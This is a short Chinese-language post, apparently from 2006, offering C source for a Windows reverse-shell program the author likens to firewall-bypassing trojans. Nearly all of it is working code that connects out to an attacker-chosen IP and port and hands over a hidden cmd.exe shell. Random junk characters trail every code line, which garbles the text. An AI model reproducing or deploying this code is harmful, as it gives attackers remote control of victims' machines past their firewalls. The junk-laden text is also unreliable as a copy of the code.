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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9 m8KDB[N  
f%PLR9Nh5@  
/* ============================== 1 V]ws}XW  
Rebound port in Windows NT GG%;~4#2  
By wind,2006/7 azFJ-0n@"  
===============================*/ &j~9{ C  
#include f@`|2wG  
#include /S J><  
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#pragma comment(lib,"wsock32.lib") .$s']' =  
A,&711Y  
void OutputShell(); [.&JQ  
SOCKET sClient; 5BA:^4zr?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g(zeOS]q}  
yf*'=q  
void main(int argc,char **argv) RR=WD-l  
{ -\p&18K#  
WSADATA stWsaData; Fa h6 &a  
int nRet; ]Sj;\Iz  
SOCKADDR_IN stSaiClient,stSaiServer; NU_^*@k  
a;bmlV04  
if(argc != 3) Ep(xlHTv  
{ mxEe -q  
printf("Useage:\n\rRebound DestIP DestPort\n"); Y;R,ph.a  
return; g}R#0gkdk}  
} E-^(VZ_Xj  
rV\G/)xL  
WSAStartup(MAKEWORD(2,2),&stWsaData); UB+~K/  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0e&&k  
4IW fp&Q!  
stSaiClient.sin_family = AF_INET; <#8}![3Q  
stSaiClient.sin_port = htons(0); <}RD]Sc$1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HY_>sD  
-'O|D}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \A^8KVE!  
{ Syseiw  
printf("Bind Socket Failed!\n"); _8r'R  
return; q{V e%8$"  
} Lios1|5  
..Dm@m}  
stSaiServer.sin_family = AF_INET; /&\ V6=jA1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 8D>5(Dg-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); iz^a Qx/  
-J=6)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9{3_2CIL  
{ [f\Jcjc  
printf("Connect Error!"); (gY W iz  
return; PZru:.Mh  
} ogSDV   
OutputShell(); =p5]r:9W  
} t ]Ln(r  
1.u^shc&|  
void OutputShell() f"gYXaVF+  
{ #qk=R7" Q  
char szBuff[1024]; /":/DwI'   
SECURITY_ATTRIBUTES stSecurityAttributes; \^0>h`[  
OSVERSIONINFO stOsversionInfo; (xvg.Nby  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q7e4MKy7  
STARTUPINFO stStartupInfo;  6p@[U>`  
char *szShell; ">!pos`<C  
PROCESS_INFORMATION stProcessInformation; uO]|YF  
unsigned long lBytesRead; vn*K\,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ELV~ ayp5  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a~@f,bw  
stSecurityAttributes.lpSecurityDescriptor = 0; w:nH_x#C4  
stSecurityAttributes.bInheritHandle = TRUE; p& $PsgR  
Ohgu*5!o  
>`3F`@1L0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PSv 5tQhm  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8&HBR #  
;F- mt(Y  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); iVnMn1h  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *jQ$\|Y  
stStartupInfo.wShowWindow = SW_HIDE; <V}q8k  
stStartupInfo.hStdInput = hReadPipe; H!0m8LCnb  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z&?4<-@6\p  
l z"o( %D  
GetVersionEx(&stOsversionInfo); %CYo, e  
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switch(stOsversionInfo.dwPlatformId) (X^,.qy  
{ F5+F O^3E  
case 1: M  hW9^?  
szShell = "command.com"; F0&ubspt\  
break; WJ-.?   
default: AvZ5?rN$  
szShell = "cmd.exe"; Zgp9Uu}"  
break; &?Erkc~#  
} UW}@oP$r  
7xB]Z;:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !0? B=yA  
byE0Z vDM  
send(sClient,szMsg,77,0); z&n2JpLY7  
while(1) ;X]B0KFe7  
{ ;=IJHk1&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <sm"3qs"_  
if(lBytesRead) vO$cF*  
{ m;4ti9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ceJ#>Rj  
send(sClient,szBuff,lBytesRead,0); "9^b1UH<  
} \tvL<U"'  
else bh5P98s  
{ W tw,YFT  
lBytesRead=recv(sClient,szBuff,1024,0); 6wu`;>  
if(lBytesRead<=0) break; >`&2]Wc)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )N~ p4kp  
} j 7:r8? G  
} \z2y?"\?  
I+twI&GS  
return; LHx ")H?,  
}
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